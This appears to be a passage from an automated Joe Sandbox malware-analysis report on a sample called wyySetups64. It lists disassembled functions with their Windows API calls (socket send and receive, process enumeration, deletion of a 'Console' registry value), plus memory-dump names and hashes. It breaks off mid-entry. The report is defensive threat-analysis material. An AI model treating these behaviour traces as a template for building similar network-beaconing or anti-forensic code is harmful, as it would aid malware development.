Sleep.KERNEL32(00000258,?,E484B528,?,?,?), ref: 00BD48F9
CloseHandle.KERNEL32(?,?,E484B528,?,?,?), ref: 00BD4914
CloseHandle.KERNEL32(?,?,E484B528,?,?,?), ref: 00BD491D
Sleep.KERNEL32(0000012C,?,E484B528,?,?,?), ref: 00BD492E

Part of subcall function 00BD3F60: GetCurrentThreadId.KERNEL32 ref: 00BD3F65
Part of subcall function 00BD3F60: send.WS2_32(?,00BE7440,00000010,00000000), ref: 00BD3FC6
Part of subcall function 00BD3F60: SetEvent.KERNEL32(?), ref: 00BD3FE9
Part of subcall function 00BD3F60: InterlockedExchange.KERNEL32(?,00000000), ref: 00BD3FF5
Part of subcall function 00BD3F60: WSACloseEvent.WS2_32(?), ref: 00BD4003
Part of subcall function 00BD3F60: shutdown.WS2_32(?,00000001), ref: 00BD401B
Part of subcall function 00BD3F60: closesocket.WS2_32(?), ref: 00BD4025

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: Close$EventHandleObjectSingleSleepWait$CurrentExchangeInterlockedThreadclosesocketsendshutdown
String ID:
API String ID: 1019945655-0
Opcode ID: 93cafdc9b73908511710c78d7bdfee4c97ca560808e0c63c2cffdc0df655b4c3
Instruction ID: a98db7289631b788eb759541ece9a7f2d5201627013bb26a0e281eeaebf6f7e0
Opcode Fuzzy Hash: 93cafdc9b73908511710c78d7bdfee4c97ca560808e0c63c2cffdc0df655b4c3
Instruction Fuzzy Hash: 3CF090322046045BC220EBAADC84D4BF3E9EFC9720B204B19F26987791CA74FC018BA4

Function 03379BA0 Relevance: 9.0, APIs: 6, Instructions: 42COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 03379BD2
EnterCriticalSection.KERNEL32(0339FB64,?,?,?,03379B7B), ref: 03379BE3
EnterCriticalSection.KERNEL32(0339FB64,?,?,?,03379B7B), ref: 03379BF8
GdiplusShutdown.GDIPLUS(00000000,?,?,?,03379B7B), ref: 03379C04
LeaveCriticalSection.KERNEL32(0339FB64,?,?,?,03379B7B), ref: 03379C15
LeaveCriticalSection.KERNEL32(0339FB64,?,?,?,03379B7B), ref: 03379C1C

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CriticalSection$EnterLeave$DeleteGdiplusObjectShutdown
String ID:
API String ID: 4268643673-0
Opcode ID: 5724694980b5267d822ebbaae3eb62a6436dd51f7ee3e9b199279695c00d3311
Instruction ID: 8d6a0d9df0d7452f01399675e6c806668783414a902646d8f5060bb3a7b81825
Opcode Fuzzy Hash: 5724694980b5267d822ebbaae3eb62a6436dd51f7ee3e9b199279695c00d3311
Instruction Fuzzy Hash: AA0108B1901709EFDF14FF6A98D4415BBA8BA4932677586AFE118CA206C372C403CB94

Function 033748D0 Relevance: 9.0, APIs: 6, Instructions: 36sleepsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 033748E1
WaitForSingleObject.KERNEL32(?,000000FF), ref: 033748EC
Sleep.KERNEL32(00000258), ref: 033748F9
CloseHandle.KERNEL32(?), ref: 03374914
CloseHandle.KERNEL32(?), ref: 0337491D
Sleep.KERNEL32(0000012C), ref: 0337492E

Part of subcall function 03373F60: GetCurrentThreadId.KERNEL32 ref: 03373F65
Part of subcall function 03373F60: send.WS2_32(?,033949C0,00000010,00000000), ref: 03373FC6
Part of subcall function 03373F60: SetEvent.KERNEL32(?), ref: 03373FE9
Part of subcall function 03373F60: InterlockedExchange.KERNEL32(?,00000000), ref: 03373FF5
Part of subcall function 03373F60: WSACloseEvent.WS2_32(?), ref: 03374003
Part of subcall function 03373F60: shutdown.WS2_32(?,00000001), ref: 0337401B
Part of subcall function 03373F60: closesocket.WS2_32(?), ref: 03374025

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Close$EventHandleObjectSingleSleepWait$CurrentExchangeInterlockedThreadclosesocketsendshutdown
String ID:
API String ID: 1019945655-0
Opcode ID: c622382f6bbda0ef2a80b2d142595d9971f47fe84af6eaed1b56e528a2f77925
Instruction ID: fd590d2752c1e2788ceb2e219662da0935431f56746ed67a419599902b984e84
Opcode Fuzzy Hash: c622382f6bbda0ef2a80b2d142595d9971f47fe84af6eaed1b56e528a2f77925
Instruction Fuzzy Hash: 90F03676204609ABC624EB69DCC4D47F3E9EFC9720B154B09E265C7294CA75F801CBA0

Function 03373300 Relevance: 9.0, APIs: 6, Instructions: 32synchronizationsleepCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 03373311
Sleep.KERNEL32(00000258), ref: 0337331E
InterlockedExchange.KERNEL32(?,00000000), ref: 03373326
WaitForSingleObject.KERNEL32(?,000000FF), ref: 03373332
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0337333A
Sleep.KERNEL32(0000012C), ref: 0337334B

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: ObjectSingleWait$Sleep$ExchangeInterlocked
String ID:
API String ID: 3137405945-0
Opcode ID: 25aea549fb0ba207d91d5deba6309f51e2ac3a02ae15208bf0fad595be9708b3
Instruction ID: 99c63b87a07819885bc25c18774e886da40250785a32c330137775615ff545ed
Opcode Fuzzy Hash: 25aea549fb0ba207d91d5deba6309f51e2ac3a02ae15208bf0fad595be9708b3
Instruction Fuzzy Hash: A4F05E72204608ABD610ABA9DCC4D47B3ACAF89334F204B0AB261872D4CAB1E8018B60

Function 00BE3A50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 00BE3A63

Part of subcall function 00BE39BE: ___BuildCatchObjectHelper.LIBCMT ref: 00BE39F4

_UnwindNestedFrames.LIBCMT ref: 00BE3A7A
___FrameUnwindToState.LIBCMT ref: 00BE3A88

Strings

csm, xrefs: 00BE3A5F, 00BE3A74, 00BE3A87, 00BE3AA5, 00BE3AB5
csm, xrefs: 00BE3A52

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: 5a0efde82555800522ebcbcdf0ebfc514e59fc27468206ba67c06b53666bf625
Instruction ID: 50ed32f5706c9872f7fb8b5352fe03adbf782ee319731a1a384c565579864482
Opcode Fuzzy Hash: 5a0efde82555800522ebcbcdf0ebfc514e59fc27468206ba67c06b53666bf625
Instruction Fuzzy Hash: C0014631000189BBDF12AF62CC49EAF7FEAEF08750F0040A0BC4816121D736DAB1DBA0

Function 0339095B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 0339096E

Part of subcall function 033908C9: ___BuildCatchObjectHelper.LIBCMT ref: 033908FF

_UnwindNestedFrames.LIBCMT ref: 03390985
___FrameUnwindToState.LIBCMT ref: 03390993

Strings

csm, xrefs: 0339095D
csm, xrefs: 0339096A, 0339097F, 03390992, 033909B0, 033909C0

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: a4ec08a577bcb042cc7356b16b645f83b0b4d35d15726398ffe3570c0dbe416a
Instruction ID: 0c77eafc3370d6683856f7a57e7743badc96318c290d064d7cfad1725f58725c
Opcode Fuzzy Hash: a4ec08a577bcb042cc7356b16b645f83b0b4d35d15726398ffe3570c0dbe416a
Instruction Fuzzy Hash: B901E475801209FBEF16AF51CC84EAABF6AEF09350F048015BD5859120D736D9B1DBA0

Function 0337B7E9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Console,00000000,00000002), ref: 0337B800
RegDeleteValueW.ADVAPI32(?,IpDatespecial), ref: 0337B810
RegCloseKey.ADVAPI32(?), ref: 0337B81B

Strings

Console, xrefs: 0337B7F6
IpDatespecial, xrefs: 0337B80A

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Console$IpDatespecial
API String ID: 849931509-1840232981
Opcode ID: 0691b2227fd2b4abeadf8bafe4914d84681f15955c014de51ae6fb5b4f479011
Instruction ID: 2523dfc4eb652e771059c8f1cc22af16a1b96c59bf16760a256ff83d02937831
Opcode Fuzzy Hash: 0691b2227fd2b4abeadf8bafe4914d84681f15955c014de51ae6fb5b4f479011
Instruction Fuzzy Hash: D0E04F72345244FFE614A764AC8BF9A7758F788712F00495FF684A12418556A444C765

Function 0337B990 Relevance: 7.6, APIs: 5, Instructions: 116processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,7AA29978), ref: 0337B9DA
_memset.LIBCMT ref: 0337B9FB
_memset.LIBCMT ref: 0337BA4B
Process32FirstW.KERNEL32(00000000,?), ref: 0337BA65
Process32NextW.KERNEL32(00000000,0000022C), ref: 0337BAB7

Part of subcall function 0337F707: _malloc.LIBCMT ref: 0337F721

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Process32_memset$CreateFirstNextSnapshotToolhelp32_malloc
String ID:
API String ID: 2416807333-0
Opcode ID: 522fdc32b3445cc15fa7cffb9ae4fc7d41fc51902e5f0f1809fd5722305aab63
Instruction ID: 45148710f85663d8fcf5742deeb8b41bf657ed6f4fbd0ade0968d7f6b532b70c
Opcode Fuzzy Hash: 522fdc32b3445cc15fa7cffb9ae4fc7d41fc51902e5f0f1809fd5722305aab63
Instruction Fuzzy Hash: 2B41C371D00609EBEB20EF64CCC5FAAF7B8EF15714F044299E9159B280E7799A40CBA1

Function 00BD3CA0 Relevance: 7.6, APIs: 5, Instructions: 98networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000598,00000000), ref: 00BD3CBF
SetLastError.KERNEL32(00000000,?,?,00BD399F,?,?,00000000,000000FF,00000000), ref: 00BD3CFA
GetLastError.KERNEL32(00000000), ref: 00BD3D45
WSAGetLastError.WS2_32(?,?,00BD399F,?,?,00000000,000000FF,00000000), ref: 00BD3D7B
WSASetLastError.WS2_32(0000000D,?,?,00BD399F,?,?,00000000,000000FF,00000000), ref: 00BD3DA2

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: ErrorLast$recv
String ID:
API String ID: 316788870-0
Opcode ID: ede1078a5c068e9a45cccc0eca92862cabc8ac71a859479208bfc41832770a66
Instruction ID: b57fcd23b4c3331e98c39aebbf76bd067be9d7c9a3178cd6e2087e952d3fa46e
Opcode Fuzzy Hash: ede1078a5c068e9a45cccc0eca92862cabc8ac71a859479208bfc41832770a66
Instruction Fuzzy Hash: 1A31D3726142008BEB649F28D8C8759B7EAEB85724F1401B7ED05DB397EB31DD808B52

Function 03373CA0 Relevance: 7.6, APIs: 5, Instructions: 98networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000598,00000000), ref: 03373CBF
SetLastError.KERNEL32(00000000,?,?,0337399F,?,?,00000000,000000FF,00000000), ref: 03373CFA
GetLastError.KERNEL32(00000000), ref: 03373D45
WSAGetLastError.WS2_32(?,?,0337399F,?,?,00000000,000000FF,00000000), ref: 03373D7B
WSASetLastError.WS2_32(0000000D,?,?,0337399F,?,?,00000000,000000FF,00000000), ref: 03373DA2

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: ErrorLast$recv
String ID:
API String ID: 316788870-0
Opcode ID: 57a8e8b1eeb274b3afe86c1eb353cb04ef5cf9b4b6bc5c2e159f31d10e9ebf28
Instruction ID: 06bdabf8786ae9a43fda5ab3c93344f2ccbbb42fa1c385f6c821a731067c280d
Opcode Fuzzy Hash: 57a8e8b1eeb274b3afe86c1eb353cb04ef5cf9b4b6bc5c2e159f31d10e9ebf28
Instruction Fuzzy Hash: 6931D37A604200DFEB74DF68D8C8B6A77ADFB45330F140566ED09CB289D739D8819B91

Function 00BDE5D7 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00BDE5E5

Part of subcall function 00BD6E83: __FF_MSGBANNER.LIBCMT ref: 00BD6E9C
Part of subcall function 00BD6E83: __NMSG_WRITE.LIBCMT ref: 00BD6EA3
Part of subcall function 00BD6E83: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00BD9FB0,00000000,00000001,00000000,?,00BDC0CF,00000018,00BE7C70,0000000C,00BDC15F), ref: 00BD6EC8

_free.LIBCMT ref: 00BDE5F8

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 3ed55e2b8fef365c3326a843674a1f9ae4fd7c67314d6d3c24b7aee7afb4db43
Instruction ID: dd53491fafd4a60f1c0489022384b0d0c9a03c96c6ceea98afdc0d119f380ac9
Opcode Fuzzy Hash: 3ed55e2b8fef365c3326a843674a1f9ae4fd7c67314d6d3c24b7aee7afb4db43
Instruction Fuzzy Hash: C411E732408511ABCB323F74AC09A5EBBD5EF603A0B2005E7F4689F351FF34D8408A94

Function 03380EEB Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 03380EF9

Part of subcall function 0337F673: __FF_MSGBANNER.LIBCMT ref: 0337F68C
Part of subcall function 0337F673: __NMSG_WRITE.LIBCMT ref: 0337F693
Part of subcall function 0337F673: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,03384500,00000000,00000001,00000000,?,03388DE6,00000018,03396448,0000000C,03388E76), ref: 0337F6B8

_free.LIBCMT ref: 03380F0C

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 41d2c1a8ab06d6917a1259b34eedc51943b327b0711bc89430cc7b23c504c52c
Instruction ID: 8fe0d3e78385fbfa9a5b5c82aea27a2e281c8d28a53c752b4be24a953218a309
Opcode Fuzzy Hash: 41d2c1a8ab06d6917a1259b34eedc51943b327b0711bc89430cc7b23c504c52c
Instruction Fuzzy Hash: AD112336C08B19BECB3ABF74ECC465E379DAF412A0F148626E8599F150DB34C5448B90

Function 00BD2BD0 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00BD2BFF
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00BD2C15
TranslateMessage.USER32(?), ref: 00BD2C24
DispatchMessageW.USER32(?), ref: 00BD2C2A
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00BD2C38

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsTranslateWait
String ID:
API String ID: 2015114452-0
Opcode ID: 799aacc1ad443176db6d8a8c453d33a2030d6803707a7f1a45efddbe2c486bc0
Instruction ID: 3d9d3de8751a758254bbecee0a08674235ab95d71e95178cc684a8b3e6ee9351
Opcode Fuzzy Hash: 799aacc1ad443176db6d8a8c453d33a2030d6803707a7f1a45efddbe2c486bc0
Instruction Fuzzy Hash: E0018672A5024976E6209B989C81FBAB3ACEB14B10F504557FB04FB1D4EEA1E80187A5

Function 03372C10 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 03372C3F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 03372C55
TranslateMessage.USER32(?), ref: 03372C64
DispatchMessageW.USER32(?), ref: 03372C6A
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 03372C78

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsTranslateWait
String ID:
API String ID: 2015114452-0
Opcode ID: 1710e669c91f5a2baef8377aa2fa504138ff750bc5bdaa54d4658093bcde7e6a
Instruction ID: f467f9f6d90a4280e77d64a42737b62c936bdffb224097b6ab6f0742ad1c0b51
Opcode Fuzzy Hash: 1710e669c91f5a2baef8377aa2fa504138ff750bc5bdaa54d4658093bcde7e6a
Instruction Fuzzy Hash: C9018672A5030EB6F620E7949CC1FFB736CEB18B10F504912FB00EA0C5D6AAA40187A5

Function 00BD4B50 Relevance: 7.5, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000), ref: 00BD4B63
EnterCriticalSection.KERNEL32(?,?,00000000), ref: 00BD4B6D
LeaveCriticalSection.KERNEL32(?,?,00000000), ref: 00BD4B80
LeaveCriticalSection.KERNEL32(?,?,00000000), ref: 00BD4B83

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: f09b311bd8dcab5382a5d1908b03cffe25bd37165df5d47bd4fd2a59ca74cc74
Instruction ID: ec530ac8b24464e7631b9d2ea3033c6be193fe749c7050baafcf9cdbb8e572db
Opcode Fuzzy Hash: f09b311bd8dcab5382a5d1908b03cffe25bd37165df5d47bd4fd2a59ca74cc74
Instruction Fuzzy Hash: 23014F766006549FD721DB39FCC4B9BB7E8EB88328F01496AF24687611D774EC458AA0

Function 03374B70 Relevance: 7.5, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000), ref: 03374B83
EnterCriticalSection.KERNEL32(?,?,00000000), ref: 03374B8D
LeaveCriticalSection.KERNEL32(?,?,00000000), ref: 03374BA0
LeaveCriticalSection.KERNEL32(?,?,00000000), ref: 03374BA3

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: bb3f370ef161a945d97dab10588b238cee3d0acbeb0505817b1a23fc927d4a70
Instruction ID: ebb4dca030a89388760457921f04981a87c8d56fd8080af6c7433ba811a72e25
Opcode Fuzzy Hash: bb3f370ef161a945d97dab10588b238cee3d0acbeb0505817b1a23fc927d4a70
Instruction Fuzzy Hash: 8C0184766006189BD720EB36FCC4B5BB7ECEB88714F054859E186C7204C739FC45CA60

Function 00B3367A Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 00B336A2

Part of subcall function 00B33232: __getptd.LIBCMT ref: 00B33240
Part of subcall function 00B33232: __getptd.LIBCMT ref: 00B3324E

__getptd.LIBCMT ref: 00B336AC

Part of subcall function 00B298E6: __getptd_noexit.LIBCMT ref: 00B298E9
Part of subcall function 00B298E6: __amsg_exit.LIBCMT ref: 00B298F6

__getptd.LIBCMT ref: 00B336BA
__getptd.LIBCMT ref: 00B336C8
__getptd.LIBCMT ref: 00B336D3

Part of subcall function 00B332D7: __CallSettingFrame@12.LIBCMT ref: 00B33323

Part of subcall function 00B337A0: __getptd.LIBCMT ref: 00B337AF
Part of subcall function 00B337A0: __getptd.LIBCMT ref: 00B337BD

Memory Dump Source

Source File: 00000001.00000002.4116355062.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b20000_wyySetups64.jbxd

Similarity

API ID: __getptd$CallCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 3282538202-0
Opcode ID: 2f8cf262afac08e33e01d992e0837c391acebccb040fbf70ddcfda8d5a1f53bb
Instruction ID: fb8dd8efc4703a0361061b3721196f581e7acf3bf51752c446b219f6de530c4c
Opcode Fuzzy Hash: 2f8cf262afac08e33e01d992e0837c391acebccb040fbf70ddcfda8d5a1f53bb
Instruction Fuzzy Hash: A111D7B1C00209DFDB00EFA4D945AAE7BF0FF08314F1485A9F858AB252DB389A559F50

Function 03372D30 Relevance: 7.5, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 03372D5C
CancelIo.KERNEL32(?), ref: 03372D66
InterlockedExchange.KERNEL32(00000000,00000000), ref: 03372D6F
closesocket.WS2_32(?), ref: 03372D79
SetEvent.KERNEL32(00000001), ref: 03372D83

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CancelEventExchangeInterlockedclosesocketsetsockopt
String ID:
API String ID: 1486965892-0
Opcode ID: ba676cb59a6543ba68ca56fb16bb5344c56a3d7a7e837ec16107930ac6f7a10f
Instruction ID: a2e6d8aaa8899fb2c9f5fb13ea23818941e328889f11a039bbae89d595db7860
Opcode Fuzzy Hash: ba676cb59a6543ba68ca56fb16bb5344c56a3d7a7e837ec16107930ac6f7a10f
Instruction Fuzzy Hash: 4BF03C76100B08FBD234AF54DD89F6777BCFB49B11F100A1DF696D6684C6B5B5088BA0

Function 00BDE13F Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00BDE14B

Part of subcall function 00BD990F: __getptd_noexit.LIBCMT ref: 00BD9912
Part of subcall function 00BD990F: __amsg_exit.LIBCMT ref: 00BD991F

__getptd.LIBCMT ref: 00BDE162
__amsg_exit.LIBCMT ref: 00BDE170
__lock.LIBCMT ref: 00BDE180
__updatetlocinfoEx_nolock.LIBCMT ref: 00BDE194

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

